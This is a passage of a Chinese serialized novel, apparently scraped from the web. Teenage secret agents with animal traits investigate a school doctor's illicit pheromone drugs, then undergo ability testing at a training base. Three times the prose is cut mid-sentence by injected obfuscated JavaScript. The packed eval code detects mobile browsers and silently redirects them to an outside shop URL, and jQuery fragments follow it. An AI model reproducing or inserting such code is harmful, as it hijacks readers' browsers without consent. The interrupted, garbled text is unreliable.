“上午第二节课后,大课间。他没去做操,去了校医室。”陆大寻的声音压得很低,但语速很快,像在倒豆子,每一个字都咬得很清楚,“他在校医室待了大概十分钟,出来的时候脸色不太好,嘴唇发白,走路有点晃。我假装路过,闻到了他的信息素——蜘蛛Alpha,按理说应该是那种很浓烈的、攻击性很强的味道,但他的闻起来像被什么东西压住了,很闷,很沉,像盖了一层塑料布。”
“抑制剂。”谢燃说。
“我也这么想的。”陆大寻点头,表情认真得不像一个十七岁的高中生,“而且不是普通的抑制剂。我去药店看过,市面上的抑制剂一般都是针管或者口服液,效果持续四到六小时,信息素会被压到几乎闻不到的程度。但冥安的情况不一样,他的信息素没有被压下去,而是被改变了——味道还在,但性质变了,像是被什么东西篡改过。”
谢燃的眉头皱了起来。
这不是一个普通高中生应该知道的知识。信息素的性质、抑制剂的作用机制、不同抑制剂的效果差异——这些东西,连大多数成年Alpha和Omega都说不清楚。更别说一个十七岁的少年,还能分辨出“被压制”和“被改变”之间的区别。
但他没问陆大寻是怎么知道的。
因为纪砚说过,有些问题不需要问,答案会在该出现的时候出现。
“你还观察到了什么?”谢燃问。
“冥安从校医室出来之后,去了保安科。”陆大寻从口袋里掏出一张折得四四方方的纸,展开,上面画了一张校园平面图。图纸是用铅笔画的,线条干净利落,比例精确,标注了时间、地点和人物移动路线,每一个路口都用红笔标了监控摄像头的位置。“他走的是这条路——从校医室到保安科,正常情况下走教学楼正门最近,但他绕了远路,从实验楼后面那条小路走的。”
谢燃低头看着图纸,手指沿着那条虚线移动。
“为什么绕路?”
“我也在想这个问题。”陆大寻指着图纸上的一条虚线,手指点了点,“实验楼后面那条小路很窄,两边都是墙,没有窗户,没有监控。如果有人想避开视线,那条路是最佳选择。”
“你是说,他不想让人看到他去保安科?”
“或者不想让人看到他跟谁见面。”陆大寻的手指在图纸上点了点,然后移到另一个位置,“他去保安科见了谭照。谭照这个人,你知道吧?保安科副科长,变色龙Beta,我给你的文件夹里有他。”
谢燃知道。谭照,三星嫌疑,行为模式诡异,痕迹经常被更高级的清除者抹去。纪砚用A2追踪他的时候,第一次被信息素诱饵骗了——这在纪砚的职业生涯中是极其罕见的事情。一个能让纪砚上当的人,不简单。
“你觉得冥安和谭照是什么关系?”谢燃问。
陆大寻把图纸翻过来,背面画了一张关系图,比上次那张更复杂。线条密密麻麻,名字之间用不同颜色的笔标注了不同的关系——红色代表“怀疑”,蓝色代表“已知”,黑色代表“待确认”。他在冥安和谭照之间画了一条粗线,在旁边写了两个字:“上下?”
“冥安是学生,谭照是保安科副科长,按理说应该是谭照在上,冥安在下。”陆大寻说,语速慢了下来,像是在一边思考一边说,“但我观察到的几次接触中,都是冥安主动找谭照,而且谭照对冥安的态度……怎么说呢,不像是对一个学生的态度,更像是下属对上级。”
“你确定?”
“不确定,所以打了个问号。”陆大寻把图纸重新折好,塞回口袋,每一个折痕都对得整整齐齐,“但有一点我可以确定——冥安的信息素变化,和姜雅有关。他去校医室之后,信息素的味道会发生变化,虽然不是变正常,但至少不会那么闷了。像是姜雅给他打了什么东西,能暂时缓解他的症状。”
谢燃沉默了几秒。
这些信息,加上纪砚今天中午说的“姜雅信息素里混了药物残留”,已经能拼出一个大概的轮廓了。冥安在服用或注射某种非法的信息素制剂,而姜雅是提供者。谭照是中间人,或者另有身份。但这张网有多大,还有谁在里面,目前还看不清楚。
他需要更多证据。
“你观察这些的时候,有没有被他们发现?”谢燃问。
陆大寻咧嘴笑了,笑得特别欠揍,露出一口整齐的白牙:“我可是智商一百四十八,怎么可能被发现。”
话音刚落,一个声音从身后传来。
“被发现的话,你现在已经是个死人了。”
那声音不大,甚至
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536117|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可以说很轻,但每个字都像冰锥一样扎进空气里。陆大寻的尾巴瞬间炸成了一朵蒲公英——那是一根浅灰色的、毛茸茸的尾巴,平时垂在裤腰后面,不仔细看还以为是什么装饰品,但此刻它炸得比松鼠的尾巴还大。
纪砚不知道什么时候走到了榕树后面。
他双手插兜,面无表情地看着坐在地上的陆大寻。校服穿得一丝不苟,扣子系到最上面一颗,头发梳得整整齐齐。他的影子被夕阳拉得很长,从榕树的阴影里延伸出来,像一根黑色的标枪。陆大寻被吓了一跳,整个人从地上弹起来,转身看着纪砚,眼睛瞪得溜圆,浅色的瞳孔里写满了震惊。
“纪……纪哥!你什么时候来的!”
“在你吹自己智商一百四十八的时候。”纪砚走到谢燃旁边,靠在另一根树干上,动作不紧不慢,“你说‘怎么可能被发现’的时候,音量提高了百分之三十,手势幅度增大了两倍,而且完全没有观察周围环境。如果有人在这时候靠近,你根本察觉不到。”
陆大寻的嘴巴张了张,又闭上了。他的耳朵耷拉下来——那是一对浅灰色的、毛茸茸的耳朵,平时藏在头发里,此刻软塌塌地垂在脑袋两侧。尾巴也垂了下去,从蒲公英变成了蔫了的狗尾巴草,整个人像一只被训斥的小狗,连呼吸都变得小心翼翼的。
“他说得对。”谢燃补了一刀,语气轻描淡写,像在说今天天气不错,“你要是真被发现了,人家早就在你背后捅刀子了。”
“我知道了。”陆大寻的声音闷闷的,低头看着自己的鞋尖,两只手绞在一起,指节发白,“下次注意。”
纪砚看了他一眼,语气软了半分。那是很细微的变化,语速慢了一点,尾音微微上扬,像冰块在水里化开一条缝:“不是要你注意,是要你别再查了。你已经做得够多了,剩下的交给我们。”
“可是——”
“没有可是。”纪砚打断他,声音不大,但每个字都像钉子一样钉进空气里,“这是命令。”
陆大寻抬起头,看了看纪砚,又看了看谢燃。他的嘴唇动了动,好像想说点什么,但最后什么都没说,只是点了点头。那一下点得很重,像是在对自己承诺什么,又像是在努力咽下什么。
谢燃看着他的表情,心里明白得很——这小子嘴上答应,心里八成已经在计划下一步怎么查了。陆大寻这个人,好奇心比猫还重,一旦咬住了线索就不会松口。但他没说破,因为他也年轻过——虽然他的“年轻”和普通人的“年轻”不太一样。
“行了,”谢燃拍了拍手,打破沉闷的气氛,“说点轻松的。晚上吃什么?”
陆大寻的眼睛又亮了起来。那种亮是从暗到明的渐变,像有人在他瞳孔里拧开了一盏灯。他的耳朵也悄悄竖了起来,尾巴重新翘起,晃了两下:“食堂新出了一个酸菜鱼,可好吃了!我请你们!”
“你哪来那么多钱?天天请客。”
“我妈给的零花钱多。”陆大寻笑嘻嘻地说,语气恢复了平时的活泼,好像刚才的低落从来没有存在过,“而且我又没什么花钱的地方,不抽烟不喝酒不谈恋爱,钱都花在吃上了。”
谢燃看了一眼纪砚,纪砚微微点头。那一下点得很轻,几乎看不出来,但谢燃看到了。
“行,那就食堂。”谢燃说,“但这次我请,你不能再掏钱了。”
“为什么?”
“因为我们是大人,你是小孩,大人请小孩天经地义。”
“我十七了!不是小孩!”
“在我们面前就是小孩。”谢燃伸手揉了揉陆大寻的头发,揉得他头发乱成一团,像一只被风吹乱的鸟窝,“走吧,小孩,吃饭去。”
陆大寻嘟囔了一句什么,声音含混得连他自己可能都听不清,但没躲开,乖乖跟在两人身后往食堂走。他的尾巴在身后轻轻晃着,像一面小小的旗帜。
榕树的气根在风中轻轻摇晃,光斑在地上晃动,像无数只眼睛在眨。夕阳把三人的影子拉得很长,一个高一个矮一个中等,排成一排往前移动。
谢燃走在最后面,回头看了一眼校医室的窗户。
窗帘拉开了一条缝。
那条缝很窄,窄到一般人根本不会注意到,但谢燃注意到了。一只手正把窗帘拨开,手指白皙纤细,指甲涂着淡粉色的甲油,在夕阳下泛着微弱的光。手的主人站在窗帘后面,半张脸藏在阴影里,只露出一只眼睛。
那只眼睛正看着他们。
不是随意的、漫不经心的扫视,而是专注的、有目的的注视。像猎人盯着猎物,像蛇盯着鸟。
谢燃没有停下脚步,也没有改变表情。他只是转回头,继续往前走,步子不急不缓,嘴里还哼着跑调的歌。那首歌的调子跑到哪里去了,连他自己都不知道,但他哼得很认真,像一个真正的、无忧无虑的高中生。
但他把那只眼睛记住了。
记住了它的形状、颜色、眼神,记住了窗帘拉开的角度,记住了那只手伸出窗帘的位置。这些信息被整整齐齐地归档在他大脑的某个角落里,等着以后调出来用。
6. 食堂的酸菜鱼
食堂里人声鼎沸。
和风四中的食堂是一栋两层的建筑,一楼是普通窗口,二楼是特色窗口。酸菜鱼的味道从二楼飘下来,酸中带辣,辣中带鲜,闻着就让人流口水。那股味道里混着花椒的麻、泡椒的冲、酸菜的醇厚,一层一层地往鼻子里钻。整个食堂都弥漫着这种浓郁的味道,连空气都变得黏稠起来。
陆大寻端着餐盘在前面开路,嘴里喊着“让一让让一让,鱼来了”,像一艘劈波斩浪的小船。他的餐盘上放着一大盆酸菜鱼,白瓷盆子比他的脸还大,鱼片在奶白色的汤里若隐若现,上面飘着红辣椒和绿香菜,颜色鲜艳得像一幅画。
学生们纷纷侧身让路,有人笑着骂他“至于吗”,有人探头看他盆里的鱼,有人吸着鼻子说“好香”。陆大寻一概不理,专心致志地盯着手里的餐盘,步子又快又稳,像一个执行任务的特种兵。
谢燃和纪砚跟在后面,一人端着一个餐盘,上面除了酸菜鱼还有米饭和两碟小菜。小菜是凉拌黄瓜和泡椒凤爪,黄瓜切得薄厚均匀,凤爪腌得透亮,看着就很有食欲。
“坐那!”陆大寻用下巴指了指靠墙的一张空桌。
那张桌子在食堂最里面的角落里,旁边是一扇大窗户,窗外种着几棵竹子,暮色从竹叶间透进来,把桌面染成淡淡的青色。三个人坐下,把餐盘摆好。陆大寻把酸菜鱼放在正中间,又把自己的米饭挪到左手边,筷子摆在右手边,勺子插在汤盆里,每一个餐具都放在最顺手的位置。
陆大寻迫不及待地夹了一块鱼片塞进嘴里,烫得直哈气,嘴巴张合的速度快得像一条搁浅的鱼,但还是含混地说:“好吃好吃好吃——”他一边哈气一边嚼,腮帮子鼓鼓的,眼睛眯成一条缝,表情幸福得像中了彩票。
谢燃也夹了一块,嚼了两下,确实不错。鱼肉嫩滑,入口即化,酸菜的酸味恰到好处,不会太冲也不会太淡,辣味在后劲里慢慢涌上来,从舌尖蔓延到舌根,最后在喉咙里炸开,很开胃。他又夹了一筷子酸菜,酸菜切得细细的,嚼起来脆生生的,酸味里带着一丝回甘。
纪砚吃得很慢,每一口都细嚼慢咽,像是在品尝什么珍馐。他用筷子夹起一片鱼,仔细看了看,然后放进嘴里,嚼了十几下才咽下去。接着又夹了一片酸菜,同样慢慢地嚼,眉头微微皱着,表情不像在吃饭,更像在做化学实验。
但他吃了两口就放下了筷子。
筷子搁在碗沿上,发出很轻的一声响,几乎被周围的嘈杂盖住了。但谢燃听到了。
“怎么了?”谢燃问。
“在想事情。”纪砚端起水杯喝了一口。水杯是白色的陶瓷杯,里面的水已经凉了,他抿了一口,嘴唇沾了一点水光。
“想什么?”
“想姜雅。”纪砚的声音压得很低,低到只有坐在旁边的谢燃和对面埋头吃鱼的陆大寻听不见。他把水杯放回桌上,手指在杯壁上慢慢转着,“她的信息素里那层药物残留,我想起来在哪里闻过了。”
谢燃的筷子停了一下。
那一停很短,不到半秒,但对谢燃来说,半秒的停顿已经很长了。他把筷子重新拿稳,夹了一片酸菜放进碗里,动作看起来很自然,但他的注意力已经完全不在食物上了。
“十五年前。”纪砚说,声音几乎只有气流,像冬天的风从门缝里挤进来,“熔炉的实验室里。”
空气仿佛凝固了一瞬。
食堂里的嘈杂声忽然变得很远,像隔了一层厚厚的玻璃。锅碗瓢盆的碰撞声、学生的说笑声、食堂阿姨的吆喝声,全都变成了模糊的背景音,远在天边。只有纪砚的声音是清晰的,每一个字都像针尖一样扎进谢燃的耳膜。
陆大寻还在埋头吃鱼,没注意到两人的沉默。他的筷子在盆里捞着酸菜,发出哗啦哗啦的声音,嘴里还念叨着“这个酸菜好好吃你们多吃点”。他的筷子捞起一片酸菜,塞进嘴里,嚼得嘎吱嘎吱响,然后又去捞下一片,完全沉浸在自己的美食世界里。
谢燃和纪砚对视了一眼。
那一眼里有太多东西。
十五年前的阴影——那些模糊的、破碎的、不敢回想的画面,像被压在箱底的旧照片,泛黄、卷边、模糊不清。被遗忘的编号——那些数字还刻在他们后颈的皮肤上,虽然已经褪色,但摸上去还能感觉到凹凸不平的疤痕。首刃官违令救援的夜晚——那个人的脸已经记不太清了,只记得他的声音,很沉很稳,像一面鼓,在爆炸声中喊出他们的名字。氧气耗尽前四分钟撤出的舱体——那四分钟被拉得无限长,每一秒都像一个小时,他们在黑暗中摸索着出口,身后的温度越来越高,警报声越来越刺耳。
那些东西从来没有消失过,只是被压在记忆的最底层,像沉在海底的船骸,表面上被泥沙覆盖,但只要有人搅动海水,它们就会重新浮上来。
“你确定?”谢燃问。他的声音很平静,但纪砚听得出那平静底下压着的东西,像地壳下的岩浆。
“百分之八十。”纪砚说,目光落在桌面上,像是在看什么很远的东西,“但年绪那边如果有更详细的分析,可以确认。”
“我今晚联系他。”
“嗯。”
陆大寻抬起头,嘴里还叼着一片酸菜,酸菜的一端在嘴里,另一端垂在嘴唇外面,像一条绿色的舌头。他眨了眨眼,看看谢燃,又看看纪砚,浅色的瞳孔里写满了好奇:“你们在说什么?什么十五年?什么实验室?”
“大人的事,小孩别问。”谢燃用筷子敲了敲他的碗,发出叮的一声脆响,“吃你的鱼。”
“你们每次都这样,说话说一半。”陆大寻不满地嘟囔,但还是乖乖低头继续吃。他把嘴里那片酸菜整个吸进去,嚼了两下,又去捞鱼片,动作里带着一种孩子气的委屈。
纪砚重新拿起筷子,夹了一片酸菜放进嘴里,慢慢嚼着。他的目光落在桌面上,但焦点不在任何东西上——不是在米饭上,不是在菜上,也不是在桌面的木纹上。他的眼睛看着的是别的地方,一个只有他自己知道的地方。
谢燃看着他,忽然觉得这顿饭有点咽不下去了。
不是因为酸菜鱼不好吃。酸菜鱼很好吃,鱼肉嫩滑,酸菜爽脆,辣味恰到好处。而是因为那些被压在记忆底层的东西,正在一点一点浮上来。像溺水的人伸出水面的手,像深海里的鱼游到浅水区,像被埋在废墟下的幸存者敲打着墙壁。
它们要出来了。
吃完饭,三个人走出食堂。
天已经黑了,路灯亮起来,把校园照得昏黄。路灯是老式的钠灯,光线偏黄偏暗,照在人的脸上像镀了一层旧铜。榕树的影子投在地上,像一大片静止的乌云,枝干交错,气根垂落,在灯光下显得格外庞大。
深秋的夜风从海的方向吹过来,带着咸腥的味道和凉丝丝的湿气。路边的香樟树沙沙作响,有几片叶子落下来,打着旋,在路灯的光柱里翻转。
陆大寻走在前面,书包甩来甩去,嘴里哼着不知道什么歌,调子跑得比谢燃还厉害。他哼的好像是某首流行歌,但每一个音都不在调上,听不出来原曲是什么。他的尾巴在身后晃着,一摇一摆,像钟摆一样有节奏。
“谢哥,纪哥,明天见!”他在校门口转过身,朝两人挥了挥手,笑得露出一口白牙。路灯的光落在他脸上,把他的笑容照得很亮,浅色的瞳孔里映出两盏灯。
“明天见。”谢燃说。
“路上小心。”纪砚说。
陆大寻愣了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536118|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,然后笑得更开了,眼睛弯成两道月牙,转身跑向公交站台。他跑了几步又回头喊了一句:“你们也是!”声音在夜风里传过来,清亮亮的,像一颗石子丢进水里激起的涟漪。
他的身影消失在夜色里。校门口的灯光只能照到公交站台边缘,再远就是一片昏暗。陆大寻跑进那片昏暗里,只有书包上的反光条在路灯下一闪一闪的,像一颗移动的星星,越来越远,越来越小,最后拐了个弯,彻底看不见了。
谢燃和纪砚站在校门口,看着那个方向,沉默了很久。
校门口的榕树在夜风里轻轻摇晃,气根互相碰撞,发出细微的沙沙声,像有人在低声说着什么。远处传来公交车报站的声音,机械的女声,在夜空中显得格外清晰。
“走吧。”纪砚先转身。
“嗯。”
两人往“家”的方向走去。说是“家”,其实是一套租来的公寓,在学校附近的一个老小区里,两室一厅,家具简陋但干净。算不上家,只是一个住的地方,但他们都管它叫“家”,大概是因为没有更好的词了。
珠海市的夜风吹过来,带着深秋的凉意,穿过衣领,贴着皮肤,凉丝丝的。路边的榕树一棵接一棵,气根在风中摇晃,像无数只垂下来的手,又像一挂挂被风吹动的帘子。路灯把两人的影子投在地上,一个高一个矮,并肩前行,影子在灯下拉长又缩短,缩短又拉长,像两条平行的河流。
“纪砚。”谢燃忽然开口。
“嗯。”
“如果姜雅真的是熔炉的人——”
“那就抓她。”
“如果冥安也是——”
“那就一起抓。”
“如果织网者——”
“谢燃。”纪砚停下脚步,转身看着他。
路灯的光落在纪砚脸上,把他的轮廓照得很清晰。他的皮肤很白,在昏黄的灯光下泛着冷白色的光,颧骨的线条利落得像刀削出来的,眉眼淡淡的,像一幅水墨画。他的表情依旧淡淡的,看不出什么情绪波动,但眼睛里有光,很亮,很坚定。
那种坚定不是热血沸腾的坚定,不是慷慨激昂的坚定,而是很安静的、很笃定的坚定,像深水底下的石头,水流再急也冲不走。
“不管他们是谁,不管十五年前发生了什么,”纪砚说,“这次,我们不会再被放弃了。”
谢燃看着他的眼睛,慢慢笑了。
那笑容不大,甚至可以说很小,只是嘴角微微上扬了一下,眼睛里多了一点温度。但那是真正的笑,不是平时那种应付人的、敷衍的、挂在脸上的假笑。
“说得对。”他说,“这次,换我们来找他们。”
两人继续往前走,脚步声在空荡荡的人行道上回响,一下一下,节奏稳定。和风市的夜空挂着一弯冷月,月牙很细,像谁用指甲在天上掐了一下。榕树的叶子在风中沙沙作响,像在低语着什么,又像在翻动一本很旧很旧的书。
远处,公交站台上,最后一班公交车亮着灯,车身在夜色里缓缓移动,车窗里的灯光一格一格地闪过。车里坐着一个哈士奇少年,脑袋靠在车窗上,浅色的瞳孔望着窗外的夜色,尾巴搭在座位边上,随着车身的晃动轻轻摇摆。
公交车驶过一座桥,桥下的河水黑沉沉的,倒映着两岸的灯火。那些灯火在水面上碎成无数光斑,晃啊晃的,像一地的碎金子。
而在更远的地方,校医室的灯还亮着。
那盏灯从窗口透出来,白色的荧光灯,光线冷白,照在走廊的地砖上,像一摊水。窗帘拉了大半,只留了一条缝,那条缝比下午的时候窄了一些,但依然存在。
窗帘后的那只眼睛,还看着他们离开的方向。
一动不动。
7. 周六-A1
周六早晨六点,天还没亮透。
珠海市的天际线还沉在一片灰蓝色的暮霭里,东边的云层边缘刚刚开始泛白。路灯还亮着,橘黄色的光在清冷的空气中显得格外浓稠。
谢燃是被手机震醒的。
他闭着眼摸到手机,屏幕的光刺得他眯起一只眼睛。消息是韩征远发来的,就三个字——
“起床,基地。”
紧跟着第二条:“你和纪砚,今天做信息采样。”
谢燃盯着屏幕愣了整整五秒,然后手指带着一种被背叛的愤怒开始打字。
“上上上个任务开始前不是做了吗?!”
韩征远回得很快。快到谢燃能想象出他坐在办公室里,端着搪瓷杯喝豆浆,单手打字的画面。
“那是一年前了。”
谢燃的拇指悬在屏幕上方,打了一串省略号,删掉,又打了一个字。
“行……”
他把手机扣回枕头底下,翻了个身,把脸埋进枕头里,发出一声闷闷的哀嚎。然后手机又震了。
纪砚发来的:“车在楼下。”
谢燃猛地坐起来,头发炸得像一团火。他光着脚踩在地板上,凉意从脚底板窜上来,整个人彻底清醒了。他抓起昨晚准备好的运动包,拉开拉链又合上,确认里面的东西没少——训练服、护腕、绷带、水壶。都是曙光学院时期的老物件,洗得发白,但每一件都保养得很好。
客厅里,纪砚已经换好了衣服。黑色的运动长裤,深灰色的卫衣,帽子压得很低,几乎遮住了半张脸。他站在玄关处,手里拿着两杯热豆浆,脚边放着一个和谢燃同款但更整洁的运动包。
“你怎么不叫我?”谢燃一边套外套一边往外走。
“叫了,你哼了一声,又睡着了。”
“那你应该再叫一次。”
“叫了三次。”
“……你脾气真好。”
纪砚没接话,把豆浆递给他,推开门往外走。楼梯间的灯是声控的,他们的脚步声一层一层地亮起来,又一层一层地灭下去。整栋楼还在睡,只有他们两个在昏暗的楼道里往下走。
楼下的巷子里停着一辆黑色的SUV,车窗贴着深色的膜,看不出里面坐了谁。驾驶座上是一个不认识的人——年轻男性,Beta,穿着黑色夹克,戴着一副蓝牙耳机。谢燃拉开后门坐进去,纪砚坐进副驾驶。
车子发动了,无声无息地驶出巷子珠海市的街道在清晨格外空旷,路灯还亮着,把柏油路面照出一层冷白色的光。沿街的店铺都关着门,只有二十四小时便利店亮着惨白的日光灯。
谢燃靠在座椅上,喝着豆浆,看着窗外后退的城市。他穿着校服外面套了件黑色卫衣,伪装成普通学生的样子,但运动包里的训练服在提醒他——今天不是普通的一天。
他喝完最后一口豆浆,把杯子捏扁塞进垃圾袋,忽然想起什么,从口袋里摸出手机。
屏幕上是韩征远三分钟前发的第四条消息。
“这次抽了七个A2分化A陪你练。纪砚不算在内。”
谢燃盯着“七个A2分化A”那行字,缓缓把手机屏幕转向副驾驶。
纪砚侧过头看了一眼。
“七个人。”谢燃说,“全是A2。”
“嗯。”
“分化A。”
“嗯。”
“你有没有什么想说的?”
纪砚想了想,说:“别睡,到了要训练。”
谢燃把手机收回口袋,靠进座椅里,闭上眼睛。
“……我不睡。我就是想看看天。”
天边开始泛白。云层被染成淡粉色和橘红色,像一幅正在被涂抹的画。SUV驶上高速,路两边的护栏飞速后退,路灯的光在清晨的天光里越来越淡,最后彻底熄灭了。
谢燃闭着眼睛,手指在大腿上轻轻敲着节拍。那是他在曙光学院学到的第一套战术节奏——三长两短,突进。三短两长,佯攻。他在脑子里把那七个人的资料过了一遍。
七个A2分化A。
ASI的在职特工,不是菜鸟。
他睁开眼睛,偏过头看向纪砚。纪砚正望着窗外,侧脸的线条在晨曦里显得格外干净。他什么都没问,什么都没说,就好像谢燃要一打七这件事根本不值得讨论。
谢燃忽然笑了一下。
“纪砚。”
“嗯。”
“你觉得我能撑多久?”
纪砚转过头看他,目光平静得像一潭深水。
“你想听真话还是假话?”
“先听假的。”
“打不过。”
“真话呢?”
“你会在被打倒之前把他们全部放倒。”
谢燃愣了一下,然后笑出声来。那笑声在安静的车厢里显得格外响,开车的Beta从后视镜里瞥了他一眼,什么都没说。
“行。”谢燃重新靠回座椅里,嘴角还挂着笑,“就冲你这句话,我今天不睡了。”
一个半小时后,SUV下了高速,拐进一条不起眼的乡间小路。路两边是大片的农田,稻子已经收割了,只剩下一茬茬矮矮的稻茬。车开了大约十分钟,在一扇不起眼的铁门前停下。铁门两侧是高高的围墙,墙上拉着电网,但看起来和普通的工厂围墙没什么区别。司机按了两下喇叭,铁门无声地滑开,SUV驶了进去。
里面是一个完全不同的世界。基地不大,但很紧凑。几栋灰白色的建筑排列整齐,中间是一个铺着人工草皮的操场,操场边上立着几根旗杆,旗杆上挂着ASI的银色星轨旗。空气里有消毒水和机油的味道,混合在一起,构成了谢燃最熟悉的气味。
车停在一栋建筑前,谢燃和纪砚下了车。司机没有熄火,等他们拿好包就掉头开走了,铁门在他们身后重新关闭。
一个穿作训服的女人站在建筑门口,双手抱胸,面无表情地看着他们。她大概三十出头,短发,皮肤偏黑,下颌线很硬,眼神像刀子。谢燃认得她——林教官,曙光学院时期的战术教官,现在在基地负责特工复训。
“迟到了两分钟。”林教官说。
“路上有点堵。”谢燃笑嘻嘻地说。
“周末早晨六点的高速,堵什么?”
“堵……空气?”
林教官看了他一眼,那眼神的意思大概是“你再多说一个字我就让你跑十公里”。谢燃识趣地闭嘴了。
“今天两项内容。”林教官转身往建筑里走,谢燃和纪砚跟上去,“第一项,信息采样。谢燃,你的A1和A2都需要重新采集基准数据,上次记录是一年前。”
“一年前?”谢燃皱了皱眉,“有那么久吗?”
“有。”林教官头也不回,“你A1情绪伪装的稳定时长上次测出来是四十七分钟,A2火焰刀转换速度峰值零点三秒。一年没测,数据作废。”
“那我今天测完,数据能管多久?”
“三个月。”
“……这玩意儿保质期比牛奶还短。”
林教官没理他。
他们穿过一条长长的走廊,走廊两侧是各种训练室的门。有的门开着,能看见里面有人在训练——有人在练近身格斗,有人在做信息素控制训练,有人躺在仪器上做腺体活性扫描。空气里的消毒水味道越来越浓,混着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536119|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金属和汗水的气味。
信息采样室在走廊尽头,是一个不大的房间。墙壁是白色的,灯光是冷白色的,正中间摆着一张看起来像牙科诊疗椅的东西,旁边是一台半人高的仪器,屏幕上跳动着谢燃看不懂的数据。
“坐上去。”林教官指了指那张椅子。
谢燃坐上去,椅子发出一声轻微的液压响。林教官从仪器上拉出几根线,末端是圆形的贴片,依次贴在他的太阳穴、手腕内侧和后颈腺体位置。贴片凉凉的,带着一股酒精棉球擦拭过的气味。
“A1情绪伪装,先做。”林教官在平板上点了两下,“目标——模拟Omega信息素波动,稳定时长要求三十分钟以上。准备好了就示意。”
谢燃闭上眼睛。
A1情绪伪装。他太熟悉这个技能了。从曙光学院开始,这项技能就是他的王牌。能完美模拟任何第二性别的信息素波动,从Alpha的压迫感到Beta的中性稳定,再到Omega的柔和曲线,他都能复制得分毫不差。曾用这项技能卧底Omega集会整整三天,和三十多个Omega同吃同住,没有人发现他腺体里流淌的是烈焰威士忌而不是什么花果香。
他开始调整。
后颈的腺体微微发热,信息素的分子结构在体内重新排列。烈焰威士忌的烈性被一层一层地剥离、压制,替换成一种更柔软、更甜腻的波动。那是他记忆中最典型的Omega信息素——没有具体对应某个人,而是一种复合的、泛化的模板。蜂蜜的甜,奶油的腻,还有一点点柑橘的酸。
仪器屏幕上的波形开始变化。原本陡峭的红色曲线逐渐平缓下来,颜色从红转橙,从橙转黄,最后稳定在一条柔和的绿色曲线上。
“波形稳定。”林教官的声音从某个很遥远的地方传来,“计时开始。”
谢燃维持着信息素的输出,意识像一根绷紧的弦。A1的难点不在于模拟本身,而在于维持。信息素波动是有惯性的,Alpha的腺体天生倾向于输出压制性的、攻击性的波形,要把这种惯性强行扭转成Omega的柔和波形,就像让一条奔涌的河突然改道。能改,但每一秒都在和水流对抗。
时间一分一秒地过去。
贴在他太阳穴上的传感器每隔三十秒会发出一声轻微的“滴”,记录他当时的脑电波和腺体活性。谢燃数着滴声来计时。一声,两声,三声。十声是五分钟,六十声是半小时。
他在数到第四十七声的时候,感觉到腺体开始有反应了。
不是失控——是疲劳。长时间维持逆天性的信息素波形,就像举着一个和自己体重相当的杠铃不放。开始的时候很轻松,但越往后,每一秒都是煎熬。
第五十三声滴。
谢燃的后槽牙咬紧了。太阳穴上的青筋微微凸起,贴片下面的皮肤渗出一层薄汗。
第六十声滴。
“一小时。”林教官的声音响起,“可以停了。”
谢燃猛地睁开眼睛,信息素波形像一根被松开的弹簧,瞬间弹回烈焰威士忌的本色。仪器屏幕上的绿色曲线猛地跳成红色,峰值甚至比正常水平还高出一截。
他大口喘着气,后背的衣服已经被汗水浸透了。
“一小时零七秒。”林教官看了一眼平板,“比去年多了十九秒。A1稳定时长评估通过。”
谢燃竖起一根大拇指,还在喘。
“休息五分钟,然后做A2基准采样。”
谢燃瘫在椅子上,仰头看着天花板。冷白色的灯光刺得他眯起眼。纪砚站在房间角落,一直没有说话,但谢燃能感觉到他的视线落在自己身上,像一层很轻的被子。
8. ASI一打七的传奇谢燃!
五分钟后,林教官准时开口:“A2火焰刀。转换速度、刀体稳定性和维持时长三项。准备好了?”
谢燃从椅子上坐起来,活动了一下手腕。贴片还贴在身上,但采集的重点从腺体转移到了全身的肌肉群和神经反应速度。林教官又给他加了几个贴片——双肩、小臂外侧、大腿前侧。
“先从转换速度开始。”林教官说,“听到提示音后,尾巴转单刀,取最短时间。三次取平均。”
谢燃站起来,走到房间中央的空地上。他的狐尾从身后舒展开来,蓬松的火红色在白色房间里显得格外扎眼。
提示音响了。
狐尾的一部分脱离主体,在空中拉伸、凝固、变形。毛发收束,骨骼重构,从柔软的狐尾变成坚硬的刀柄和刀身。火焰从刀身上蔓延开来,橙红色的光映在白色的墙壁上,像落日。
“零点三一秒。”林教官报出数字,“比去年慢了零点零一秒。”
谢燃皱了一下眉。零点零一秒,听起来微不足道,但他知道这意味着什么——他的神经反应速度确实比一年前慢了,哪怕只是一根头发丝的差距。
“第二次。”
刀收了回去,重新变回狐尾。谢燃深呼吸了一次,让心率降下来,然后集中注意力。
提示音。
刀成型。
“零点三零秒。”
